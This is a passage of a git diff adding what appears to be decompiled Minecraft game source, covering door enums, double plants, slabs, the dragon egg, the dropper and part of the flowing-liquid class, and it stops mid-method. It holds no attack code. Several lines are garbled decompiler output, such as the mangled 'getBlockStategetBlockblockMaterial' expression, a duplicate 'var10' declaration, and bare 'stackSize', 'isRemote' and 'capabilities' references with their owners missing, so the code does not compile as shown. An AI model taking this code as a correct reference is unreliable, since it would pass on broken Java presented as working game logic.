+  public static EnumFacing func_176517_h(IBlockAccess p_176517_0_, BlockPos p_176517_1_)
+  {
+    return func_176511_f(func_176515_e(p_176517_0_, p_176517_1_));
+  }
+  
+  public static EnumFacing func_176511_f(int p_176511_0_)
+  {
+    return EnumFacing.getHorizontal(p_176511_0_ & 0x3).rotateYCCW();
+  }
+  
+  protected static boolean func_176516_g(int p_176516_0_)
+  {
+    return (p_176516_0_ & 0x4) != 0;
+  }
+  
+  protected static boolean func_176518_i(int p_176518_0_)
+  {
+    return (p_176518_0_ & 0x8) != 0;
+  }
+  
+  protected static boolean func_176513_j(int p_176513_0_)
+  {
+    return (p_176513_0_ & 0x10) != 0;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { HALF_PROP, FACING_PROP, OPEN_PROP, HINGEPOSITION_PROP, POWERED_PROP });
+  }
+  
+  public static enum EnumDoorHalf implements IStringSerializable
+  {
+    UPPER("UPPER", 0), 
+    LOWER("LOWER", 1);
+    
+    private static final EnumDoorHalf[] $VALUES = { UPPER, LOWER };
+    private static final String __OBFID = "CL_00002124";
+    
+    private EnumDoorHalf(String p_i45726_1_, int p_i45726_2_) {}
+    
+    public String toString()
+    {
+      return getName();
+    }
+    
+    public String getName()
+    {
+      return this == UPPER ? "upper" : "lower";
+    }
+  }
+  
+  public static enum EnumHingePosition implements IStringSerializable
+  {
+    LEFT("LEFT", 0), 
+    RIGHT("RIGHT", 1);
+    
+    private static final EnumHingePosition[] $VALUES = { LEFT, RIGHT };
+    private static final String __OBFID = "CL_00002123";
+    
+    private EnumHingePosition(String p_i45725_1_, int p_i45725_2_) {}
+    
+    public String toString()
+    {
+      return getName();
+    }
+    
+    public String getName()
+    {
+      return this == LEFT ? "left" : "right";
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDoublePlant.java b/src/minecraft/net/minecraft/block/BlockDoublePlant.java
new file mode 100644
index 0000000..61276b5
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDoublePlant.java
@@ -0,0 +1,463 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.init.Blocks;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+import net.minecraft.world.biome.BiomeColorHelper;
+
+public class BlockDoublePlant extends BlockBush implements IGrowable
+{
+  public static final PropertyEnum VARIANT_PROP = PropertyEnum.create("variant", EnumPlantType.class);
+  public static final PropertyEnum HALF_PROP = PropertyEnum.create("half", EnumBlockHalf.class);
+  private static final String __OBFID = "CL_00000231";
+  
+  public BlockDoublePlant()
+  {
+    super(Material.vine);
+    setDefaultState(blockState.getBaseState().withProperty(VARIANT_PROP, EnumPlantType.SUNFLOWER).withProperty(HALF_PROP, EnumBlockHalf.LOWER));
+    setHardness(0.0F);
+    setStepSound(soundTypeGrass);
+    setUnlocalizedName("doublePlant");
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+  }
+  
+  public EnumPlantType func_176490_e(IBlockAccess p_176490_1_, BlockPos p_176490_2_)
+  {
+    IBlockState var3 = p_176490_1_.getBlockState(p_176490_2_);
+    
+    if (var3.getBlock() == this)
+    {
+      var3 = getActualState(var3, p_176490_1_, p_176490_2_);
+      return (EnumPlantType)var3.getValue(VARIANT_PROP);
+    }
+    
+
+    return EnumPlantType.FERN;
+  }
+  
+
+  public boolean canPlaceBlockAt(World worldIn, BlockPos pos)
+  {
+    return (super.canPlaceBlockAt(worldIn, pos)) && (worldIn.isAirBlock(pos.offsetUp()));
+  }
+  
+
+
+
+  public boolean isReplaceable(World worldIn, BlockPos pos)
+  {
+    IBlockState var3 = worldIn.getBlockState(pos);
+    
+    if (var3.getBlock() != this)
+    {
+      return true;
+    }
+    
+
+    EnumPlantType var4 = (EnumPlantType)getActualState(var3, worldIn, pos).getValue(VARIANT_PROP);
+    return (var4 == EnumPlantType.FERN) || (var4 == EnumPlantType.GRASS);
+  }
+  
+
+  protected void func_176475_e(World worldIn, BlockPos p_176475_2_, IBlockState p_176475_3_)
+  {
+    if (!canBlockStay(worldIn, p_176475_2_, p_176475_3_))
+    {
+      boolean var4 = p_176475_3_.getValue(HALF_PROP) == EnumBlockHalf.UPPER;
+      BlockPos var5 = var4 ? p_176475_2_ : p_176475_2_.offsetUp();
+      BlockPos var6 = var4 ? p_176475_2_.offsetDown() : p_176475_2_;
+      Object var7 = var4 ? this : worldIn.getBlockState(var5).getBlock();
+      Object var8 = var4 ? worldIn.getBlockState(var6).getBlock() : this;
+      
+      if (var7 == this)
+      {
+        worldIn.setBlockState(var5, Blocks.air.getDefaultState(), 3);
+      }
+      
+      if (var8 == this)
+      {
+        worldIn.setBlockState(var6, Blocks.air.getDefaultState(), 3);
+        
+        if (!var4)
+        {
+          dropBlockAsItem(worldIn, var6, p_176475_3_, 0);
+        }
+      }
+    }
+  }
+  
+  public boolean canBlockStay(World worldIn, BlockPos p_180671_2_, IBlockState p_180671_3_)
+  {
+    if (p_180671_3_.getValue(HALF_PROP) == EnumBlockHalf.UPPER)
+    {
+      return worldIn.getBlockState(p_180671_2_.offsetDown()).getBlock() == this;
+    }
+    
+
+    IBlockState var4 = worldIn.getBlockState(p_180671_2_.offsetUp());
+    return (var4.getBlock() == this) && (super.canBlockStay(worldIn, p_180671_2_, var4));
+  }
+  
+
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    if (state.getValue(HALF_PROP) == EnumBlockHalf.UPPER)
+    {
+      return null;
+    }
+    
+
+    EnumPlantType var4 = (EnumPlantType)state.getValue(VARIANT_PROP);
+    return var4 == EnumPlantType.GRASS ? null : rand.nextInt(8) == 0 ? Items.wheat_seeds : var4 == EnumPlantType.FERN ? null : Item.getItemFromBlock(this);
+  }
+  
+
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return (state.getValue(HALF_PROP) != EnumBlockHalf.UPPER) && (state.getValue(VARIANT_PROP) != EnumPlantType.GRASS) ? ((EnumPlantType)state.getValue(VARIANT_PROP)).func_176936_a() : 0;
+  }
+  
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    EnumPlantType var4 = func_176490_e(worldIn, pos);
+    return (var4 != EnumPlantType.GRASS) && (var4 != EnumPlantType.FERN) ? 16777215 : BiomeColorHelper.func_180286_a(worldIn, pos);
+  }
+  
+  public void func_176491_a(World worldIn, BlockPos p_176491_2_, EnumPlantType p_176491_3_, int p_176491_4_)
+  {
+    worldIn.setBlockState(p_176491_2_, getDefaultState().withProperty(HALF_PROP, EnumBlockHalf.LOWER).withProperty(VARIANT_PROP, p_176491_3_), p_176491_4_);
+    worldIn.setBlockState(p_176491_2_.offsetUp(), getDefaultState().withProperty(HALF_PROP, EnumBlockHalf.UPPER), p_176491_4_);
+  }
+  
+  public void onBlockPlacedBy(World worldIn, BlockPos pos, IBlockState state, EntityLivingBase placer, ItemStack stack)
+  {
+    worldIn.setBlockState(pos.offsetUp(), getDefaultState().withProperty(HALF_PROP, EnumBlockHalf.UPPER), 2);
+  }
+  
+  public void harvestBlock(World worldIn, EntityPlayer playerIn, BlockPos pos, IBlockState state, TileEntity te)
+  {
+    if ((isRemote) || (playerIn.getCurrentEquippedItem() == null) || (playerIn.getCurrentEquippedItem().getItem() != Items.shears) || (state.getValue(HALF_PROP) != EnumBlockHalf.LOWER) || (!func_176489_b(worldIn, pos, state, playerIn)))
+    {
+      super.harvestBlock(worldIn, playerIn, pos, state, te);
+    }
+  }
+  
+  public void onBlockHarvested(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn)
+  {
+    if (state.getValue(HALF_PROP) == EnumBlockHalf.UPPER)
+    {
+      if (worldIn.getBlockState(pos.offsetDown()).getBlock() == this)
+      {
+        if (!capabilities.isCreativeMode)
+        {
+          IBlockState var5 = worldIn.getBlockState(pos.offsetDown());
+          EnumPlantType var6 = (EnumPlantType)var5.getValue(VARIANT_PROP);
+          
+          if ((var6 != EnumPlantType.FERN) && (var6 != EnumPlantType.GRASS))
+          {
+            worldIn.destroyBlock(pos.offsetDown(), true);
+          }
+          else if (!isRemote)
+          {
+            if ((playerIn.getCurrentEquippedItem() != null) && (playerIn.getCurrentEquippedItem().getItem() == Items.shears))
+            {
+              func_176489_b(worldIn, pos, var5, playerIn);
+              worldIn.setBlockToAir(pos.offsetDown());
+            }
+            else
+            {
+              worldIn.destroyBlock(pos.offsetDown(), true);
+            }
+            
+          }
+          else {
+            worldIn.setBlockToAir(pos.offsetDown());
+          }
+        }
+        else
+        {
+          worldIn.setBlockToAir(pos.offsetDown());
+        }
+      }
+    }
+    else if ((capabilities.isCreativeMode) && (worldIn.getBlockState(pos.offsetUp()).getBlock() == this))
+    {
+      worldIn.setBlockState(pos.offsetUp(), Blocks.air.getDefaultState(), 2);
+    }
+    
+    super.onBlockHarvested(worldIn, pos, state, playerIn);
+  }
+  
+  private boolean func_176489_b(World worldIn, BlockPos p_176489_2_, IBlockState p_176489_3_, EntityPlayer p_176489_4_)
+  {
+    EnumPlantType var5 = (EnumPlantType)p_176489_3_.getValue(VARIANT_PROP);
+    
+    if ((var5 != EnumPlantType.FERN) && (var5 != EnumPlantType.GRASS))
+    {
+      return false;
+    }
+    
+
+    p_176489_4_.triggerAchievement(net.minecraft.stats.StatList.mineBlockStatArray[Block.getIdFromBlock(this)]);
+    int var6 = (var5 == EnumPlantType.GRASS ? BlockTallGrass.EnumType.GRASS : BlockTallGrass.EnumType.FERN).func_177044_a();
+    spawnAsEntity(worldIn, p_176489_2_, new ItemStack(Blocks.tallgrass, 2, var6));
+    return true;
+  }
+  
+
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumPlantType[] var4 = EnumPlantType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumPlantType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.func_176936_a()));
+    }
+  }
+  
+  public int getDamageValue(World worldIn, BlockPos pos)
+  {
+    return func_176490_e(worldIn, pos).func_176936_a();
+  }
+  
+  public boolean isStillGrowing(World worldIn, BlockPos p_176473_2_, IBlockState p_176473_3_, boolean p_176473_4_)
+  {
+    EnumPlantType var5 = func_176490_e(worldIn, p_176473_2_);
+    return (var5 != EnumPlantType.GRASS) && (var5 != EnumPlantType.FERN);
+  }
+  
+  public boolean canUseBonemeal(World worldIn, Random p_180670_2_, BlockPos p_180670_3_, IBlockState p_180670_4_)
+  {
+    return true;
+  }
+  
+  public void grow(World worldIn, Random p_176474_2_, BlockPos p_176474_3_, IBlockState p_176474_4_)
+  {
+    spawnAsEntity(worldIn, p_176474_3_, new ItemStack(this, 1, func_176490_e(worldIn, p_176474_3_).func_176936_a()));
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return (meta & 0x8) > 0 ? getDefaultState().withProperty(HALF_PROP, EnumBlockHalf.UPPER) : getDefaultState().withProperty(HALF_PROP, EnumBlockHalf.LOWER).withProperty(VARIANT_PROP, EnumPlantType.func_176938_a(meta & 0x7));
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    if (state.getValue(HALF_PROP) == EnumBlockHalf.UPPER)
+    {
+      IBlockState var4 = worldIn.getBlockState(pos.offsetDown());
+      
+      if (var4.getBlock() == this)
+      {
+        state = state.withProperty(VARIANT_PROP, var4.getValue(VARIANT_PROP));
+      }
+    }
+    
+    return state;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return state.getValue(HALF_PROP) == EnumBlockHalf.UPPER ? 8 : ((EnumPlantType)state.getValue(VARIANT_PROP)).func_176936_a();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { HALF_PROP, VARIANT_PROP });
+  }
+  
+
+
+
+  public Block.EnumOffsetType getOffsetType()
+  {
+    return Block.EnumOffsetType.XZ;
+  }
+  
+  static enum EnumBlockHalf implements IStringSerializable
+  {
+    UPPER("UPPER", 0), 
+    LOWER("LOWER", 1);
+    
+    private static final EnumBlockHalf[] $VALUES = { UPPER, LOWER };
+    private static final String __OBFID = "CL_00002122";
+    
+    private EnumBlockHalf(String p_i45724_1_, int p_i45724_2_) {}
+    
+    public String toString()
+    {
+      return getName();
+    }
+    
+    public String getName()
+    {
+      return this == UPPER ? "upper" : "lower";
+    }
+  }
+  
+  public static enum EnumPlantType implements IStringSerializable
+  {
+    SUNFLOWER("SUNFLOWER", 0, 0, "sunflower"), 
+    SYRINGA("SYRINGA", 1, 1, "syringa"), 
+    GRASS("GRASS", 2, 2, "double_grass", "grass"), 
+    FERN("FERN", 3, 3, "double_fern", "fern"), 
+    ROSE("ROSE", 4, 4, "double_rose", "rose"), 
+    PAEONIA("PAEONIA", 5, 5, "paeonia");
+    
+    private static final EnumPlantType[] field_176941_g;
+    private final int field_176949_h;
+    private final String field_176950_i;
+    private final String field_176947_j;
+    private static final EnumPlantType[] $VALUES;
+    private static final String __OBFID = "CL_00002121";
+    
+    private EnumPlantType(String p_i45722_1_, int p_i45722_2_, int p_i45722_3_, String p_i45722_4_)
+    {
+      this(p_i45722_1_, p_i45722_2_, p_i45722_3_, p_i45722_4_, p_i45722_4_);
+    }
+    
+    private EnumPlantType(String p_i45723_1_, int p_i45723_2_, int p_i45723_3_, String p_i45723_4_, String p_i45723_5_)
+    {
+      field_176949_h = p_i45723_3_;
+      field_176950_i = p_i45723_4_;
+      field_176947_j = p_i45723_5_;
+    }
+    
+    public int func_176936_a()
+    {
+      return field_176949_h;
+    }
+    
+    public String toString()
+    {
+      return field_176950_i;
+    }
+    
+    public static EnumPlantType func_176938_a(int p_176938_0_)
+    {
+      if ((p_176938_0_ < 0) || (p_176938_0_ >= field_176941_g.length))
+      {
+        p_176938_0_ = 0;
+      }
+      
+      return field_176941_g[p_176938_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176950_i;
+    }
+    
+    public String func_176939_c()
+    {
+      return field_176947_j;
+    }
+    
+    static
+    {
+      field_176941_g = new EnumPlantType[values().length];
+      
+
+
+
+      $VALUES = new EnumPlantType[] { SUNFLOWER, SYRINGA, GRASS, FERN, ROSE, PAEONIA };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumPlantType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumPlantType var3 = var0[var2];
+        field_176941_g[var3.func_176936_a()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDoubleStoneSlab.java b/src/minecraft/net/minecraft/block/BlockDoubleStoneSlab.java
new file mode 100644
index 0000000..10239d5
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDoubleStoneSlab.java
@@ -0,0 +1,11 @@
+package net.minecraft.block;
+
+public class BlockDoubleStoneSlab extends BlockStoneSlab {
+  private static final String __OBFID = "CL_00002113";
+  
+  public BlockDoubleStoneSlab() {}
+  
+  public boolean isDouble() {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDoubleStoneSlabNew.java b/src/minecraft/net/minecraft/block/BlockDoubleStoneSlabNew.java
new file mode 100644
index 0000000..12bba83
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDoubleStoneSlabNew.java
@@ -0,0 +1,11 @@
+package net.minecraft.block;
+
+public class BlockDoubleStoneSlabNew extends BlockStoneSlabNew {
+  private static final String __OBFID = "CL_00002114";
+  
+  public BlockDoubleStoneSlabNew() {}
+  
+  public boolean isDouble() {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDoubleWoodSlab.java b/src/minecraft/net/minecraft/block/BlockDoubleWoodSlab.java
new file mode 100644
index 0000000..9e50f62
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDoubleWoodSlab.java
@@ -0,0 +1,11 @@
+package net.minecraft.block;
+
+public class BlockDoubleWoodSlab extends BlockWoodSlab {
+  private static final String __OBFID = "CL_00002112";
+  
+  public BlockDoubleWoodSlab() {}
+  
+  public boolean isDouble() {
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDragonEgg.java b/src/minecraft/net/minecraft/block/BlockDragonEgg.java
new file mode 100644
index 0000000..76618a3
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDragonEgg.java
@@ -0,0 +1,144 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.item.EntityFallingBlock;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.item.Item;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockDragonEgg extends Block
+{
+  private static final String __OBFID = "CL_00000232";
+  
+  public BlockDragonEgg()
+  {
+    super(Material.dragonEgg);
+    setBlockBounds(0.0625F, 0.0F, 0.0625F, 0.9375F, 1.0F, 0.9375F);
+  }
+  
+  public void onBlockAdded(World worldIn, BlockPos pos, IBlockState state)
+  {
+    worldIn.scheduleUpdate(pos, this, tickRate(worldIn));
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    worldIn.scheduleUpdate(pos, this, tickRate(worldIn));
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    func_180683_d(worldIn, pos);
+  }
+  
+  private void func_180683_d(World worldIn, BlockPos p_180683_2_)
+  {
+    if ((BlockFalling.canFallInto(worldIn, p_180683_2_.offsetDown())) && (p_180683_2_.getY() >= 0))
+    {
+      byte var3 = 32;
+      
+      if ((!BlockFalling.fallInstantly) && (worldIn.isAreaLoaded(p_180683_2_.add(-var3, -var3, -var3), p_180683_2_.add(var3, var3, var3))))
+      {
+        worldIn.spawnEntityInWorld(new EntityFallingBlock(worldIn, p_180683_2_.getX() + 0.5F, p_180683_2_.getY(), p_180683_2_.getZ() + 0.5F, getDefaultState()));
+      }
+      else
+      {
+        worldIn.setBlockToAir(p_180683_2_);
+        
+
+        for (BlockPos var4 = p_180683_2_; (BlockFalling.canFallInto(worldIn, var4)) && (var4.getY() > 0); var4 = var4.offsetDown()) {}
+        
+
+
+
+        if (var4.getY() > 0)
+        {
+          worldIn.setBlockState(var4, getDefaultState(), 2);
+        }
+      }
+    }
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    func_180684_e(worldIn, pos);
+    return true;
+  }
+  
+  public void onBlockClicked(World worldIn, BlockPos pos, EntityPlayer playerIn)
+  {
+    func_180684_e(worldIn, pos);
+  }
+  
+  private void func_180684_e(World worldIn, BlockPos p_180684_2_)
+  {
+    IBlockState var3 = worldIn.getBlockState(p_180684_2_);
+    
+    if (var3.getBlock() == this)
+    {
+      for (int var4 = 0; var4 < 1000; var4++)
+      {
+        BlockPos var5 = p_180684_2_.add(rand.nextInt(16) - rand.nextInt(16), rand.nextInt(8) - rand.nextInt(8), rand.nextInt(16) - rand.nextInt(16));
+        
+        if (getBlockStategetBlockblockMaterial == Material.air)
+        {
+          if (isRemote)
+          {
+            for (int var6 = 0; var6 < 128; var6++)
+            {
+              double var7 = rand.nextDouble();
+              float var9 = (rand.nextFloat() - 0.5F) * 0.2F;
+              float var10 = (rand.nextFloat() - 0.5F) * 0.2F;
+              float var11 = (rand.nextFloat() - 0.5F) * 0.2F;
+              double var12 = var5.getX() + (p_180684_2_.getX() - var5.getX()) * var7 + (rand.nextDouble() - 0.5D) * 1.0D + 0.5D;
+              double var14 = var5.getY() + (p_180684_2_.getY() - var5.getY()) * var7 + rand.nextDouble() * 1.0D - 0.5D;
+              double var16 = var5.getZ() + (p_180684_2_.getZ() - var5.getZ()) * var7 + (rand.nextDouble() - 0.5D) * 1.0D + 0.5D;
+              worldIn.spawnParticle(EnumParticleTypes.PORTAL, var12, var14, var16, var9, var10, var11, new int[0]);
+            }
+          }
+          else
+          {
+            worldIn.setBlockState(var5, var3, 2);
+            worldIn.setBlockToAir(p_180684_2_);
+          }
+          
+          return;
+        }
+      }
+    }
+  }
+  
+
+
+
+  public int tickRate(World worldIn)
+  {
+    return 5;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return true;
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDropper.java b/src/minecraft/net/minecraft/block/BlockDropper.java
new file mode 100644
index 0000000..1c3d811
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDropper.java
@@ -0,0 +1,90 @@
+package net.minecraft.block;
+
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.dispenser.IBehaviorDispenseItem;
+import net.minecraft.inventory.IInventory;
+import net.minecraft.item.ItemStack;
+import net.minecraft.tileentity.TileEntity;
+import net.minecraft.tileentity.TileEntityDispenser;
+import net.minecraft.tileentity.TileEntityDropper;
+import net.minecraft.tileentity.TileEntityHopper;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class BlockDropper extends BlockDispenser
+{
+  private final IBehaviorDispenseItem field_149947_P = new net.minecraft.dispenser.BehaviorDefaultDispenseItem();
+  private static final String __OBFID = "CL_00000233";
+  
+  public BlockDropper() {}
+  
+  protected IBehaviorDispenseItem func_149940_a(ItemStack p_149940_1_) { return field_149947_P; }
+  
+
+
+
+
+  public TileEntity createNewTileEntity(World worldIn, int meta)
+  {
+    return new TileEntityDropper();
+  }
+  
+  protected void func_176439_d(World worldIn, BlockPos p_176439_2_)
+  {
+    BlockSourceImpl var3 = new BlockSourceImpl(worldIn, p_176439_2_);
+    TileEntityDispenser var4 = (TileEntityDispenser)var3.getBlockTileEntity();
+    
+    if (var4 != null)
+    {
+      int var5 = var4.func_146017_i();
+      
+      if (var5 < 0)
+      {
+        worldIn.playAuxSFX(1001, p_176439_2_, 0);
+      }
+      else
+      {
+        ItemStack var6 = var4.getStackInSlot(var5);
+        
+        if (var6 != null)
+        {
+          EnumFacing var7 = (EnumFacing)worldIn.getBlockState(p_176439_2_).getValue(FACING);
+          BlockPos var8 = p_176439_2_.offset(var7);
+          IInventory var9 = TileEntityHopper.func_145893_b(worldIn, var8.getX(), var8.getY(), var8.getZ());
+          
+          ItemStack var10;
+          if (var9 == null)
+          {
+            ItemStack var10 = field_149947_P.dispense(var3, var6);
+            
+            if ((var10 != null) && (stackSize == 0))
+            {
+              var10 = null;
+            }
+          }
+          else
+          {
+            var10 = TileEntityHopper.func_174918_a(var9, var6.copy().splitStack(1), var7.getOpposite());
+            
+            if (var10 == null)
+            {
+              var10 = var6.copy();
+              
+              if (--stackSize == 0)
+              {
+                var10 = null;
+              }
+            }
+            else
+            {
+              var10 = var6.copy();
+            }
+          }
+          
+          var4.setInventorySlotContents(var5, var10);
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockDynamicLiquid.java b/src/minecraft/net/minecraft/block/BlockDynamicLiquid.java
new file mode 100644
index 0000000..df6216c
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockDynamicLiquid.java
@@ -0,0 +1,305 @@
+package net.minecraft.block;
+
+import java.util.EnumSet;
+import java.util.Iterator;
+import java.util.Random;
+import java.util.Set;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.world.World;
+
+public class BlockDynamicLiquid extends BlockLiquid
+{
+  int field_149815_a;
+  private static final String __OBFID = "CL_00000234";
+  
+  protected BlockDynamicLiquid(Material p_i45403_1_)
+  {
+    super(p_i45403_1_);
+  }
+  
+  private void func_180690_f(World worldIn, BlockPos p_180690_2_, IBlockState p_180690_3_)
+  {
+    worldIn.setBlockState(p_180690_2_, getStaticLiquidForMaterial(blockMaterial).getDefaultState().withProperty(LEVEL, p_180690_3_.getValue(LEVEL)), 2);
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    int var5 = ((Integer)state.getValue(LEVEL)).intValue();
+    byte var6 = 1;
+    
+    if ((blockMaterial == Material.lava) && (!provider.func_177500_n()))
+    {
+      var6 = 2;
+    }
+    
+    int var7 = tickRate(worldIn);
+    
+
+    if (var5 > 0)
+    {
+      int var8 = -100;
+      field_149815_a = 0;
+      
+      EnumFacing var10;
+      for (Iterator var9 = EnumFacing.Plane.HORIZONTAL.iterator(); var9.hasNext(); var8 = func_176371_a(worldIn, pos.offset(var10), var8))
+      {
+        var10 = (EnumFacing)var9.next();
+      }
+      
+      int var14 = var8 + var6;
+      
+      if ((var14 >= 8) || (var8 < 0))
+      {
+        var14 = -1;
+      }
+      
+      if (func_176362_e(worldIn, pos.offsetUp()) >= 0)
+      {
+        int var16 = func_176362_e(worldIn, pos.offsetUp());
+        
+        if (var16 >= 8)
+        {
+          var14 = var16;
+        }
+        else
+        {
+          var14 = var16 + 8;
+        }
+      }
+      
+      if ((field_149815_a >= 2) && (blockMaterial == Material.water))
+      {
+        IBlockState var17 = worldIn.getBlockState(pos.offsetDown());
+        
+        if (var17.getBlock().getMaterial().isSolid())
+        {
+          var14 = 0;
+        }
+        else if ((var17.getBlock().getMaterial() == blockMaterial) && (((Integer)var17.getValue(LEVEL)).intValue() == 0))
+        {
+          var14 = 0;
+        }
+      }
+      
+      if ((blockMaterial == Material.lava) && (var5 < 8) && (var14 < 8) && (var14 > var5) && (rand.nextInt(4) != 0))
+      {
+        var7 *= 4;
+      }
+      
+      if (var14 == var5)
+      {
+        func_180690_f(worldIn, pos, state);
+      }
+      else
+      {
+        var5 = var14;
+        
+        if (var14 < 0)
+        {
+          worldIn.setBlockToAir(pos);
+        }
+        else
+        {
+          state = state.withProperty(LEVEL, Integer.valueOf(var14));
+          worldIn.setBlockState(pos, state, 2);
+          worldIn.scheduleUpdate(pos, this, var7);
+          worldIn.notifyNeighborsOfStateChange(pos, this);
+        }
+      }
+    }
+    else
+    {
+      func_180690_f(worldIn, pos, state);
+    }
+    
+    IBlockState var13 = worldIn.getBlockState(pos.offsetDown());
+    
+    if (func_176373_h(worldIn, pos.offsetDown(), var13))
+    {
+      if ((blockMaterial == Material.lava) && (worldIn.getBlockState(pos.offsetDown()).getBlock().getMaterial() == Material.water))
+      {
+        worldIn.setBlockState(pos.offsetDown(), net.minecraft.init.Blocks.stone.getDefaultState());
+        func_180688_d(worldIn, pos.offsetDown());
+        return;
+      }
+      
+      if (var5 >= 8)
+      {
+        func_176375_a(worldIn, pos.offsetDown(), var13, var5);
+      }
+      else
+      {
+        func_176375_a(worldIn, pos.offsetDown(), var13, var5 + 8);
+      }
+    }
+    else if ((var5 >= 0) && ((var5 == 0) || (func_176372_g(worldIn, pos.offsetDown(), var13))))
+    {
+      Set var15 = func_176376_e(worldIn, pos);
+      int var16 = var5 + var6;
+      
+      if (var5 >= 8)
+      {
+        var16 = 1;
+      }
+      
+      if (var16 >= 8)
+      {
+        return;
+      }
+      
+      Iterator var11 = var15.iterator();
+      
+      while (var11.hasNext())
+      {
+        EnumFacing var12 = (EnumFacing)var11.next();
+        func_176375_a(worldIn, pos.offset(var12), worldIn.getBlockState(pos.offset(var12)), var16);
+      }
+    }
+  }
+  
+  private void func_176375_a(World worldIn, BlockPos p_176375_2_, IBlockState p_176375_3_, int p_176375_4_)
+  {
+    if (func_176373_h(worldIn, p_176375_2_, p_176375_3_))
+    {
+      if (p_176375_3_.getBlock() != net.minecraft.init.Blocks.air)
+      {
+        if (blockMaterial == Material.lava)
+        {
+          func_180688_d(worldIn, p_176375_2_);
+        }
+        else
+        {
+          p_176375_3_.getBlock().dropBlockAsItem(worldIn, p_176375_2_, p_176375_3_, 0);
+        }
+      }
+      
+      worldIn.setBlockState(p_176375_2_, getDefaultState().withProperty(LEVEL, Integer.valueOf(p_176375_4_)), 3);
+    }
+  }
+  
+  private int func_176374_a(World worldIn, BlockPos p_176374_2_, int p_176374_3_, EnumFacing p_176374_4_)
+  {
+    int var5 = 1000;
+    Iterator var6 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var6.hasNext())
+    {
+      EnumFacing var7 = (EnumFacing)var6.next();
+      
+      if (var7 != p_176374_4_)
+      {
+        BlockPos var8 = p_176374_2_.offset(var7);
+        IBlockState var9 = worldIn.getBlockState(var8);
+        
